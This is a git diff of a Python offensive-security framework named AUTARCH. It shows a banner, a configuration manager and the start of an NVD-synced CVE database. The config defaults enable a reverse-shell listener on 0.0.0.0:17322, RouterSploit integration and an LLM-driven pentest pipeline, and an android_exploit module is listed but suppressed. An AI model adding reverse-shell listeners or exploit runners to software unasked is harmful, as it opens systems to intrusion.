if not self.steps:
|
||||||
|
return "No steps executed"
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
for i, step in enumerate(self.steps, 1):
|
||||||
|
lines.append(f"Step {i}:")
|
||||||
|
lines.append(f" Thought: {step.thought[:80]}...")
|
||||||
|
if step.tool_name:
|
||||||
|
lines.append(f" Action: {step.tool_name}")
|
||||||
|
if step.tool_result:
|
||||||
|
result_preview = step.tool_result[:80] + "..." if len(step.tool_result) > 80 else step.tool_result
|
||||||
|
lines.append(f" Result: {result_preview}")
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
2804
core/android_exploit.py
Normal file
2804
core/android_exploit.py
Normal file
File diff suppressed because it is too large
Load Diff
1910
core/android_protect.py
Normal file
1910
core/android_protect.py
Normal file
File diff suppressed because it is too large
Load Diff
49
core/banner.py
Normal file
49
core/banner.py
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Banner Module
|
||||||
|
Displays the main ASCII banner for the framework
|
||||||
|
"""
|
||||||
|
|
||||||
|
# ANSI color codes
|
||||||
|
class Colors:
|
||||||
|
RED = '\033[91m'
|
||||||
|
GREEN = '\033[92m'
|
||||||
|
YELLOW = '\033[93m'
|
||||||
|
BLUE = '\033[94m'
|
||||||
|
MAGENTA = '\033[95m'
|
||||||
|
CYAN = '\033[96m'
|
||||||
|
WHITE = '\033[97m'
|
||||||
|
BOLD = '\033[1m'
|
||||||
|
DIM = '\033[2m'
|
||||||
|
RESET = '\033[0m'
|
||||||
|
|
||||||
|
|
||||||
|
BANNER = f"""{Colors.RED}{Colors.BOLD}
|
||||||
|
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
|
||||||
|
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
|
||||||
|
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
|
||||||
|
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
|
||||||
|
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
|
||||||
|
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
|
||||||
|
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
|
||||||
|
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
|
||||||
|
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
|
||||||
|
░
|
||||||
|
{Colors.RESET}{Colors.CYAN} By darkHal and Setec Security Labs.{Colors.RESET}
|
||||||
|
{Colors.DIM}═══════════════════════════════════════════════════════════════════{Colors.RESET}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def display_banner():
|
||||||
|
"""Print the AUTARCH banner to the console."""
|
||||||
|
print(BANNER)
|
||||||
|
|
||||||
|
|
||||||
|
def clear_screen():
|
||||||
|
"""Clear the terminal screen."""
|
||||||
|
import os
|
||||||
|
os.system('clear' if os.name == 'posix' else 'cls')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
clear_screen()
|
||||||
|
display_banner()
|
||||||
520
core/config.py
Normal file
520
core/config.py
Normal file
@ -0,0 +1,520 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Configuration Handler
|
||||||
|
Manages the autarch_settings.conf file for llama.cpp settings
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import configparser
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
"""Configuration manager for AUTARCH settings."""
|
||||||
|
|
||||||
|
DEFAULT_CONFIG = {
|
||||||
|
'llama': {
|
||||||
|
'model_path': '',
|
||||||
|
'n_ctx': '4096',
|
||||||
|
'n_threads': '4',
|
||||||
|
'n_gpu_layers': '0',
|
||||||
|
'gpu_backend': 'cpu',
|
||||||
|
'temperature': '0.7',
|
||||||
|
'top_p': '0.9',
|
||||||
|
'top_k': '40',
|
||||||
|
'repeat_penalty': '1.1',
|
||||||
|
'max_tokens': '2048',
|
||||||
|
'seed': '-1',
|
||||||
|
},
|
||||||
|
'autarch': {
|
||||||
|
'first_run': 'true',
|
||||||
|
'modules_path': 'modules',
|
||||||
|
'verbose': 'false',
|
||||||
|
'quiet': 'false',
|
||||||
|
'no_banner': 'false',
|
||||||
|
'llm_backend': 'local',
|
||||||
|
},
|
||||||
|
'claude': {
|
||||||
|
'api_key': '',
|
||||||
|
'model': 'claude-sonnet-4-20250514',
|
||||||
|
'max_tokens': '4096',
|
||||||
|
'temperature': '0.7',
|
||||||
|
},
|
||||||
|
'osint': {
|
||||||
|
'max_threads': '8',
|
||||||
|
'timeout': '8',
|
||||||
|
'include_nsfw': 'false',
|
||||||
|
},
|
||||||
|
'pentest': {
|
||||||
|
'max_pipeline_steps': '50',
|
||||||
|
'output_chunk_size': '2000',
|
||||||
|
'auto_execute': 'false',
|
||||||
|
'save_raw_output': 'true',
|
||||||
|
},
|
||||||
|
'transformers': {
|
||||||
|
'model_path': '',
|
||||||
|
'device': 'auto',
|
||||||
|
'torch_dtype': 'auto',
|
||||||
|
'load_in_8bit': 'false',
|
||||||
|
'load_in_4bit': 'false',
|
||||||
|
'trust_remote_code': 'false',
|
||||||
|
'max_tokens': '2048',
|
||||||
|
'temperature': '0.7',
|
||||||
|
'top_p': '0.9',
|
||||||
|
'top_k': '40',
|
||||||
|
'repetition_penalty': '1.1',
|
||||||
|
},
|
||||||
|
'rsf': {
|
||||||
|
'install_path': '',
|
||||||
|
'enabled': 'true',
|
||||||
|
'default_target': '',
|
||||||
|
'default_port': '80',
|
||||||
|
'execution_timeout': '120',
|
||||||
|
},
|
||||||
|
'upnp': {
|
||||||
|
'enabled': 'true',
|
||||||
|
'internal_ip': '10.0.0.26',
|
||||||
|
'refresh_hours': '12',
|
||||||
|
'mappings': '443:TCP,51820:UDP,8181:TCP',
|
||||||
|
},
|
||||||
|
'web': {
|
||||||
|
'host': '0.0.0.0',
|
||||||
|
'port': '8181',
|
||||||
|
'secret_key': '',
|
||||||
|
'mcp_port': '8081',
|
||||||
|
},
|
||||||
|
'revshell': {
|
||||||
|
'enabled': 'true',
|
||||||
|
'host': '0.0.0.0',
|
||||||
|
'port': '17322',
|
||||||
|
'auto_start': 'false',
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def __init__(self, config_path: str = None):
|
||||||
|
"""Initialize the configuration manager.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
config_path: Path to the configuration file. Defaults to autarch_settings.conf
|
||||||
|
in the framework directory.
|
||||||
|
"""
|
||||||
|
if config_path is None:
|
||||||
|
from core.paths import get_config_path
|
||||||
|
self.config_path = get_config_path()
|
||||||
|
else:
|
||||||
|
self.config_path = Path(config_path)
|
||||||
|
|
||||||
|
self.config = configparser.ConfigParser()
|
||||||
|
self._load_or_create()
|
||||||
|
|
||||||
|
def _load_or_create(self):
|
||||||
|
"""Load existing config or create with defaults."""
|
||||||
|
if self.config_path.exists():
|
||||||
|
self.config.read(self.config_path)
|
||||||
|
self._apply_missing_defaults()
|
||||||
|
else:
|
||||||
|
self._create_default_config()
|
||||||
|
|
||||||
|
def _apply_missing_defaults(self):
|
||||||
|
"""Add any missing sections/keys from DEFAULT_CONFIG to the loaded config."""
|
||||||
|
changed = False
|
||||||
|
for section, options in self.DEFAULT_CONFIG.items():
|
||||||
|
if section not in self.config:
|
||||||
|
self.config[section] = options
|
||||||
|
changed = True
|
||||||
|
else:
|
||||||
|
for key, value in options.items():
|
||||||
|
if key not in self.config[section]:
|
||||||
|
self.config[section][key] = value
|
||||||
|
changed = True
|
||||||
|
if changed:
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def _create_default_config(self):
|
||||||
|
"""Create a default configuration file."""
|
||||||
|
for section, options in self.DEFAULT_CONFIG.items():
|
||||||
|
self.config[section] = options
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def save(self):
|
||||||
|
"""Save the current configuration to file."""
|
||||||
|
with open(self.config_path, 'w') as f:
|
||||||
|
self.config.write(f)
|
||||||
|
|
||||||
|
def get(self, section: str, key: str, fallback=None):
|
||||||
|
"""Get a configuration value.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
section: Configuration section name
|
||||||
|
key: Configuration key name
|
||||||
|
fallback: Default value if key doesn't exist
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
The configuration value or fallback
|
||||||
|
"""
|
||||||
|
value = self.config.get(section, key, fallback=fallback)
|
||||||
|
# Strip quotes from values (handles paths with spaces that were quoted)
|
||||||
|
if value and isinstance(value, str):
|
||||||
|
value = value.strip().strip('"').strip("'")
|
||||||
|
return value
|
||||||
|
|
||||||
|
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
|
||||||
|
"""Get a configuration value as integer."""
|
||||||
|
return self.config.getint(section, key, fallback=fallback)
|
||||||
|
|
||||||
|
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
|
||||||
|
"""Get a configuration value as float."""
|
||||||
|
return self.config.getfloat(section, key, fallback=fallback)
|
||||||
|
|
||||||
|
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
|
||||||
|
"""Get a configuration value as boolean."""
|
||||||
|
return self.config.getboolean(section, key, fallback=fallback)
|
||||||
|
|
||||||
|
def set(self, section: str, key: str, value):
|
||||||
|
"""Set a configuration value.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
section: Configuration section name
|
||||||
|
key: Configuration key name
|
||||||
|
value: Value to set
|
||||||
|
"""
|
||||||
|
if section not in self.config:
|
||||||
|
self.config[section] = {}
|
||||||
|
self.config[section][key] = str(value)
|
||||||
|
|
||||||
|
def is_first_run(self) -> bool:
|
||||||
|
"""Check if this is the first run of AUTARCH."""
|
||||||
|
return self.get_bool('autarch', 'first_run', fallback=True)
|
||||||
|
|
||||||
|
def mark_setup_complete(self):
|
||||||
|
"""Mark the first-time setup as complete."""
|
||||||
|
self.set('autarch', 'first_run', 'false')
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def get_llama_settings(self) -> dict:
|
||||||
|
"""Get all llama.cpp settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with llama.cpp settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'model_path': self.get('llama', 'model_path', ''),
|
||||||
|
'n_ctx': self.get_int('llama', 'n_ctx', 4096),
|
||||||
|
'n_threads': self.get_int('llama', 'n_threads', 4),
|
||||||
|
'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0),
|
||||||
|
'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'),
|
||||||
|
'temperature': self.get_float('llama', 'temperature', 0.7),
|
||||||
|
'top_p': self.get_float('llama', 'top_p', 0.9),
|
||||||
|
'top_k': self.get_int('llama', 'top_k', 40),
|
||||||
|
'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1),
|
||||||
|
'max_tokens': self.get_int('llama', 'max_tokens', 2048),
|
||||||
|
'seed': self.get_int('llama', 'seed', -1),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_osint_settings(self) -> dict:
|
||||||
|
"""Get all OSINT settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with OSINT settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'max_threads': self.get_int('osint', 'max_threads', 8),
|
||||||
|
'timeout': self.get_int('osint', 'timeout', 8),
|
||||||
|
'include_nsfw': self.get_bool('osint', 'include_nsfw', False),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_pentest_settings(self) -> dict:
|
||||||
|
"""Get all pentest pipeline settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with pentest settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50),
|
||||||
|
'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000),
|
||||||
|
'auto_execute': self.get_bool('pentest', 'auto_execute', False),
|
||||||
|
'save_raw_output': self.get_bool('pentest', 'save_raw_output', True),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_claude_settings(self) -> dict:
|
||||||
|
"""Get all Claude API settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with Claude API settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'api_key': self.get('claude', 'api_key', ''),
|
||||||
|
'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'),
|
||||||
|
'max_tokens': self.get_int('claude', 'max_tokens', 4096),
|
||||||
|
'temperature': self.get_float('claude', 'temperature', 0.7),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_transformers_settings(self) -> dict:
|
||||||
|
"""Get all transformers/safetensors settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with transformers settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'model_path': self.get('transformers', 'model_path', ''),
|
||||||
|
'device': self.get('transformers', 'device', 'auto'),
|
||||||
|
'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'),
|
||||||
|
'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False),
|
||||||
|
'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False),
|
||||||
|
'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False),
|
||||||
|
'device_map': self.get('transformers', 'device_map', 'auto'),
|
||||||
|
'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False),
|
||||||
|
'max_tokens': self.get_int('transformers', 'max_tokens', 2048),
|
||||||
|
'temperature': self.get_float('transformers', 'temperature', 0.7),
|
||||||
|
'top_p': self.get_float('transformers', 'top_p', 0.9),
|
||||||
|
'top_k': self.get_int('transformers', 'top_k', 40),
|
||||||
|
'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_huggingface_settings(self) -> dict:
|
||||||
|
"""Get all HuggingFace Inference API settings as a dictionary."""
|
||||||
|
return {
|
||||||
|
'api_key': self.get('huggingface', 'api_key', ''),
|
||||||
|
'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'),
|
||||||
|
'endpoint': self.get('huggingface', 'endpoint', ''),
|
||||||
|
'provider': self.get('huggingface', 'provider', 'auto'),
|
||||||
|
'max_tokens': self.get_int('huggingface', 'max_tokens', 1024),
|
||||||
|
'temperature': self.get_float('huggingface', 'temperature', 0.7),
|
||||||
|
'top_p': self.get_float('huggingface', 'top_p', 0.9),
|
||||||
|
'top_k': self.get_int('huggingface', 'top_k', 40),
|
||||||
|
'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1),
|
||||||
|
'do_sample': self.get_bool('huggingface', 'do_sample', True),
|
||||||
|
'seed': self.get_int('huggingface', 'seed', -1),
|
||||||
|
'stop_sequences': self.get('huggingface', 'stop_sequences', ''),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_openai_settings(self) -> dict:
|
||||||
|
"""Get all OpenAI API settings as a dictionary."""
|
||||||
|
return {
|
||||||
|
'api_key': self.get('openai', 'api_key', ''),
|
||||||
|
'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'),
|
||||||
|
'model': self.get('openai', 'model', 'gpt-4o'),
|
||||||
|
'max_tokens': self.get_int('openai', 'max_tokens', 4096),
|
||||||
|
'temperature': self.get_float('openai', 'temperature', 0.7),
|
||||||
|
'top_p': self.get_float('openai', 'top_p', 1.0),
|
||||||
|
'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0),
|
||||||
|
'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_rsf_settings(self) -> dict:
|
||||||
|
"""Get all RouterSploit settings as a dictionary.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with RSF settings properly typed
|
||||||
|
"""
|
||||||
|
return {
|
||||||
|
'install_path': self.get('rsf', 'install_path', ''),
|
||||||
|
'enabled': self.get_bool('rsf', 'enabled', True),
|
||||||
|
'default_target': self.get('rsf', 'default_target', ''),
|
||||||
|
'default_port': self.get('rsf', 'default_port', '80'),
|
||||||
|
'execution_timeout': self.get_int('rsf', 'execution_timeout', 120),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_upnp_settings(self) -> dict:
|
||||||
|
"""Get all UPnP settings as a dictionary."""
|
||||||
|
return {
|
||||||
|
'enabled': self.get_bool('upnp', 'enabled', True),
|
||||||
|
'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'),
|
||||||
|
'refresh_hours': self.get_int('upnp', 'refresh_hours', 12),
|
||||||
|
'mappings': self.get('upnp', 'mappings', ''),
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_revshell_settings(self) -> dict:
|
||||||
|
"""Get all reverse shell settings as a dictionary."""
|
||||||
|
return {
|
||||||
|
'enabled': self.get_bool('revshell', 'enabled', True),
|
||||||
|
'host': self.get('revshell', 'host', '0.0.0.0'),
|
||||||
|
'port': self.get_int('revshell', 'port', 17322),
|
||||||
|
'auto_start': self.get_bool('revshell', 'auto_start', False),
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_templates_dir() -> Path:
|
||||||
|
"""Get the path to the configuration templates directory."""
|
||||||
|
from core.paths import get_templates_dir
|
||||||
|
return get_templates_dir()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_custom_configs_dir() -> Path:
|
||||||
|
"""Get the path to the custom user configurations directory."""
|
||||||
|
from core.paths import get_custom_configs_dir
|
||||||
|
return get_custom_configs_dir()
|
||||||
|
|
||||||
|
def list_hardware_templates(self) -> list:
|
||||||
|
"""List available hardware configuration templates.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of tuples: (template_id, display_name, description, filename)
|
||||||
|
"""
|
||||||
|
templates = [
|
||||||
|
('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'),
|
||||||
|
('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'),
|
||||||
|
('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'),
|
||||||
|
('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'),
|
||||||
|
]
|
||||||
|
return templates
|
||||||
|
|
||||||
|
def list_custom_configs(self) -> list:
|
||||||
|
"""List user-saved custom configurations.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of tuples: (name, filepath)
|
||||||
|
"""
|
||||||
|
custom_dir = self.get_custom_configs_dir()
|
||||||
|
configs = []
|
||||||
|
for conf_file in custom_dir.glob('*.conf'):
|
||||||
|
name = conf_file.stem.replace('_', ' ').title()
|
||||||
|
configs.append((name, conf_file))
|
||||||
|
return configs
|
||||||
|
|
||||||
|
def load_template(self, template_id: str) -> bool:
|
||||||
|
"""Load a hardware template into the current configuration.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
template_id: The template identifier (e.g., 'nvidia_4070_mobile')
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if loaded successfully, False otherwise
|
||||||
|
"""
|
||||||
|
templates = {t[0]: t[3] for t in self.list_hardware_templates()}
|
||||||
|
if template_id not in templates:
|
||||||
|
return False
|
||||||
|
|
||||||
|
template_path = self.get_templates_dir() / templates[template_id]
|
||||||
|
if not template_path.exists():
|
||||||
|
return False
|
||||||
|
|
||||||
|
return self._load_llm_settings_from_file(template_path)
|
||||||
|
|
||||||
|
def load_custom_config(self, filepath: Path) -> bool:
|
||||||
|
"""Load a custom configuration file.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
filepath: Path to the custom configuration file
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if loaded successfully, False otherwise
|
||||||
|
"""
|
||||||
|
if not filepath.exists():
|
||||||
|
return False
|
||||||
|
return self._load_llm_settings_from_file(filepath)
|
||||||
|
|
||||||
|
def _load_llm_settings_from_file(self, filepath: Path) -> bool:
|
||||||
|
"""Load LLM settings (llama and transformers sections) from a file.
|
||||||
|
|
||||||
|
Preserves model_path from current config (doesn't overwrite).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
filepath: Path to the configuration file
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if loaded successfully, False otherwise
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
template_config = configparser.ConfigParser()
|
||||||
|
template_config.read(filepath)
|
||||||
|
|
||||||
|
# Preserve current model paths
|
||||||
|
current_llama_path = self.get('llama', 'model_path', '')
|
||||||
|
current_transformers_path = self.get('transformers', 'model_path', '')
|
||||||
|
|
||||||
|
# Load llama section
|
||||||
|
if 'llama' in template_config:
|
||||||
|
for key, value in template_config['llama'].items():
|
||||||
|
if key != 'model_path': # Preserve current model path
|
||||||
|
self.set('llama', key, value)
|
||||||
|
# Restore model path
|
||||||
|
if current_llama_path:
|
||||||
|
self.set('llama', 'model_path', current_llama_path)
|
||||||
|
|
||||||
|
# Load transformers section
|
||||||
|
if 'transformers' in template_config:
|
||||||
|
for key, value in template_config['transformers'].items():
|
||||||
|
if key != 'model_path': # Preserve current model path
|
||||||
|
self.set('transformers', key, value)
|
||||||
|
# Restore model path
|
||||||
|
if current_transformers_path:
|
||||||
|
self.set('transformers', 'model_path', current_transformers_path)
|
||||||
|
|
||||||
|
self.save()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def save_custom_config(self, name: str) -> Path:
|
||||||
|
"""Save current LLM settings to a custom configuration file.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
name: Name for the custom configuration (will be sanitized)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Path to the saved configuration file
|
||||||
|
"""
|
||||||
|
# Sanitize name for filename
|
||||||
|
safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower())
|
||||||
|
safe_name = safe_name.strip('_')
|
||||||
|
if not safe_name:
|
||||||
|
safe_name = 'custom_config'
|
||||||
|
|
||||||
|
custom_dir = self.get_custom_configs_dir()
|
||||||
|
filepath = custom_dir / f'{safe_name}.conf'
|
||||||
|
|
||||||
|
# Create config with just LLM settings
|
||||||
|
custom_config = configparser.ConfigParser()
|
||||||
|
|
||||||
|
# Save llama settings
|
||||||
|
custom_config['llama'] = {}
|
||||||
|
for key in self.DEFAULT_CONFIG['llama'].keys():
|
||||||
|
value = self.get('llama', key, '')
|
||||||
|
if value:
|
||||||
|
custom_config['llama'][key] = str(value)
|
||||||
|
|
||||||
|
# Save transformers settings
|
||||||
|
custom_config['transformers'] = {}
|
||||||
|
for key in self.DEFAULT_CONFIG['transformers'].keys():
|
||||||
|
value = self.get('transformers', key, '')
|
||||||
|
if value:
|
||||||
|
custom_config['transformers'][key] = str(value)
|
||||||
|
|
||||||
|
# Add header comment
|
||||||
|
with open(filepath, 'w') as f:
|
||||||
|
f.write(f'# AUTARCH Custom LLM Configuration\n')
|
||||||
|
f.write(f'# Name: {name}\n')
|
||||||
|
f.write(f'# Saved: {Path(self.config_path).name}\n')
|
||||||
|
f.write('#\n\n')
|
||||||
|
custom_config.write(f)
|
||||||
|
|
||||||
|
return filepath
|
||||||
|
|
||||||
|
def delete_custom_config(self, filepath: Path) -> bool:
|
||||||
|
"""Delete a custom configuration file.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
filepath: Path to the custom configuration file
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if deleted successfully, False otherwise
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if filepath.exists() and filepath.parent == self.get_custom_configs_dir():
|
||||||
|
filepath.unlink()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
# Global config instance
|
||||||
|
_config = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_config() -> Config:
|
||||||
|
"""Get the global configuration instance."""
|
||||||
|
global _config
|
||||||
|
if _config is None:
|
||||||
|
_config = Config()
|
||||||
|
return _config
|
||||||
869
core/cve.py
Normal file
869
core/cve.py
Normal file
@ -0,0 +1,869 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH CVE Database Module
|
||||||
|
SQLite-based local CVE database with NVD API synchronization
|
||||||
|
https://nvd.nist.gov/developers/vulnerabilities
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import time
|
||||||
|
import sqlite3
|
||||||
|
import platform
|
||||||
|
import subprocess
|
||||||
|
import urllib.request
|
||||||
|
import urllib.parse
|
||||||
|
import threading
|
||||||
|
from pathlib import Path
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
from typing import Optional, List, Dict, Any, Callable
|
||||||
|
|
||||||
|
from .banner import Colors
|
||||||
|
from .config import get_config
|
||||||
|
|
||||||
|
|
||||||
|
class CVEDatabase:
|
||||||
|
"""SQLite-based CVE Database with NVD API synchronization."""
|
||||||
|
|
||||||
|
NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0"
|
||||||
|
DB_VERSION = 1
|
||||||
|
RESULTS_PER_PAGE = 2000 # NVD max is 2000
|
||||||
|
|
||||||
|
# OS to CPE mapping for common systems
|
||||||
|
OS_CPE_MAP = {
|
||||||
|
'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux',
|
||||||
|
'debian': 'cpe:2.3:o:debian:debian_linux',
|
||||||
|
'fedora': 'cpe:2.3:o:fedoraproject:fedora',
|
||||||
|
'centos': 'cpe:2.3:o:centos:centos',
|
||||||
|
'rhel': 'cpe:2.3:o:redhat:enterprise_linux',
|
||||||
|
'rocky': 'cpe:2.3:o:rockylinux:rocky_linux',
|
||||||
|
'alma': 'cpe:2.3:o:almalinux:almalinux',
|
||||||
|
'arch': 'cpe:2.3:o:archlinux:arch_linux',
|
||||||
|
'opensuse': 'cpe:2.3:o:opensuse:opensuse',
|
||||||
|
'suse': 'cpe:2.3:o:suse:suse_linux',
|
||||||
|
'kali': 'cpe:2.3:o:kali:kali_linux',
|
||||||
|
'mint': 'cpe:2.3:o:linuxmint:linux_mint',
|
||||||
|
'windows': 'cpe:2.3:o:microsoft:windows',
|
||||||
|
'macos': 'cpe:2.3:o:apple:macos',
|
||||||
|
'darwin': 'cpe:2.3:o:apple:macos',
|
||||||
|
}
|
||||||
|
|
||||||
|
# SQL Schema
|
||||||
|
SCHEMA = """
|
||||||
|
-- CVE main table
|
||||||
|
CREATE TABLE IF NOT EXISTS cves (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
cve_id TEXT UNIQUE NOT NULL,
|
||||||
|
description TEXT,
|
||||||
|
published TEXT,
|
||||||
|
modified TEXT,
|
||||||
|
cvss_v3_score REAL,
|
||||||
|
cvss_v3_severity TEXT,
|
||||||
|
cvss_v3_vector TEXT,
|
||||||
|
cvss_v2_score REAL,
|
||||||
|
cvss_v2_severity TEXT,
|
||||||
|
cvss_v2_vector TEXT
|
||||||
|
);
|
||||||
|
|
||||||
|
-- CPE (affected products) table
|
||||||
|
CREATE TABLE IF NOT EXISTS cve_cpes (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
cve_id TEXT NOT NULL,
|
||||||
|
cpe_criteria TEXT NOT NULL,
|
||||||
|
vulnerable INTEGER DEFAULT 1,
|
||||||
|
version_start TEXT,
|
||||||
|
version_end TEXT,
|
||||||
|
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
-- References table
|
||||||
|
CREATE TABLE IF NOT EXISTS cve_references (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
cve_id TEXT NOT NULL,
|
||||||
|
url TEXT NOT NULL,
|
||||||
|
source TEXT,
|
||||||
|
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
-- Weaknesses (CWE) table
|
||||||
|
CREATE TABLE IF NOT EXISTS cve_weaknesses (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
cve_id TEXT NOT NULL,
|
||||||
|
cwe_id TEXT NOT NULL,
|
||||||
|
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
-- Metadata table
|
||||||
|
CREATE TABLE IF NOT EXISTS metadata (
|
||||||
|
key TEXT PRIMARY KEY,
|
||||||
|
value TEXT
|
||||||
|
);
|
||||||
|
|
||||||
|
-- Indexes for fast queries
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id);
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity);
|
||||||
|
